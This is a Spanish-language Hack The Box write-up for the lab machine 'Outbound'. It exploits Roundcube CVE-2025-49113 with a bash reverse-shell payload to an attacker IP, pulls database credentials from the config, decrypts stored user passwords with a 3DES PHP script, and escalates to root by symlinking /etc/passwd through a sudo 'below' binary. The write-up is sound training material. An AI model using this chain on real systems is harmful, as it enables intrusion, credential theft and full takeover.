Skip to content

Outbound HTB Write Up

alt text

1. Información del objetivo

IP de la máquina: 10.10.11.77

Dominio: mail.outbound.htb

Credenciales iniciales: tyler / LhKL1o9Nm3X2

2. Reconocimiento inicial

2.1 Escaneo de puertos

sudo nmap -sS -p- --min-rate 5000 -n -vvv -Pn --open 10.10.11.77 -oG allPorts

alt text

nmap -sCV -p22,80 10.10.11.77 -oN targeted

alt text

3. Enumeración de Roundcube

Primero necesitamos ir a http://mail.outbound.htb e iniciar sesión con las credenciales proporcionadas.

alt text

Luego podemos recuperar la versión de Roundcube haciendo clic en About.

alt text

Si verificamos esa versión de Roundcube, veremos que es vulnerable a CVE-2025-49113.

4. Explotando Roundcube (CVE-2025-49113)

Para explotarlo, utilicé este Script PHP de Github.

CVE-2025-49113 Exploit - GitHub

Luego lo exploté de la siguiente manera.

php CVE-2025-49113.php  http://mail.outbound.htb/ tyler LhKL1o9Nm3X2 "bash -c 'bash -i >& /dev/tcp/10.10.XX.XX/6666 0>&1'"

alt text

5. Obteniendo acceso shell

Si configuramos nuestro listener, recibiremos la conexión.

alt text

6. Movimiento lateral con reutilización de contraseña

Una vez dentro, podemos intentar reutilizar la contraseña de tyler. Y funcionó.

alt text

7. Extrayendo credenciales encriptadas de MySQL

Ahora podemos revisar /var/www/html/roundcube/config y recuperar el contenido de config.inc.php, aquí tenemos la contraseña de MySQL y el valor de des_key.

alt text

Ejecutemos este comando para conectarnos a MySQL.

mysql -u roundcube -pRCDBPass2025 -h 127.0.0.1 -P 3306 --skip-ssl roundcube
select vars from session;

8. Descifrando la contraseña almacenada de Roundcube desde Vars

Aquí tendremos la siguiente salida en base64.

alt text

Si la decodificamos aquí, podemos ver una contraseña encriptada del usuario Jacob.

alt text

Para descifrar esta contraseña, utilicé este script PHP.

<?php

// Your 3DES key (24 bytes)
$key = 'rcmail-!24ByteDESkey*Str'; // Must be exactly 24 bytes for 3DES

// The encrypted password, **already base64 decoded** into binary
// Here we convert from base64 to binary manually once just for the example:
$ciphertext_base64 = 'L7Rv00A8TuwJAr67kITxxcSgnIk25Am/';
$ciphertext = base64_decode($ciphertext_base64);

// Extract IV from the start of ciphertext (3DES block size = 8 bytes)
$iv_size = 8;
$iv = substr($ciphertext, 0, $iv_size);

// The actual encrypted data is after the IV
$encrypted_data = substr($ciphertext, $iv_size);

// Decrypt using OpenSSL (3DES-CBC)
$decrypted = openssl_decrypt($encrypted_data, 'DES-EDE3-CBC', $key, OPENSSL_RAW_DATA, $iv);

// Remove PKCS7 padding
$pad = ord($decrypted[strlen($decrypted) - 1]);
if ($pad > 0 && $pad <= 8) {
    $decrypted = substr($decrypted, 0, -$pad);
}

echo "Decrypted password: " . $decrypted . "\n";

?>

Si ejecuto el script aquí, obtenemos la contraseña en texto plano.

alt text

9. Enumerando Roundcube como usuario Jacob

Primero que nada, usaré esta contraseña para iniciar sesión en Roundcube.

alt text

Y funcionó (la primera solicitud no funcionará, la segunda sí). Aquí Tyler nos envió una contraseña, así que intentemos usar esta contraseña para iniciar sesión via ssh como Jacob.

alt text

10. Accediendo a la cuenta de Jacob via SSH

Y funcionó.

ssh
jacob:gY4Wr3a1evp4

alt text

La flag de usuario se puede encontrar en /home/jacob/user.txt

11. Escalada de privilegios mediante el binario 'below'

Si ejecutamos sudo -l podemos ver que podemos ejecutar este binario como root.

alt text

Para obtener root, ejecuté los siguientes comandos.

rm -f /var/log/below/error_root.log
ln -sf /etc/passwd /var/log/below/error_root.log

sudo /usr/bin/below record &
sleep 2
pkill below

ls -la /etc/passwd
-rw-rw-rw- 1 root root 1840 Jul  8 21:06 /etc/passwd

echo "astro:$(openssl passwd -1 astro):0:0:root:/root:/bin/bash" >> /etc/passwd && su astro

Password: astro

12. Acceso root y captura de la flag

alt text

La flag de root se puede encontrar en /root/root.txt

Autor: Astro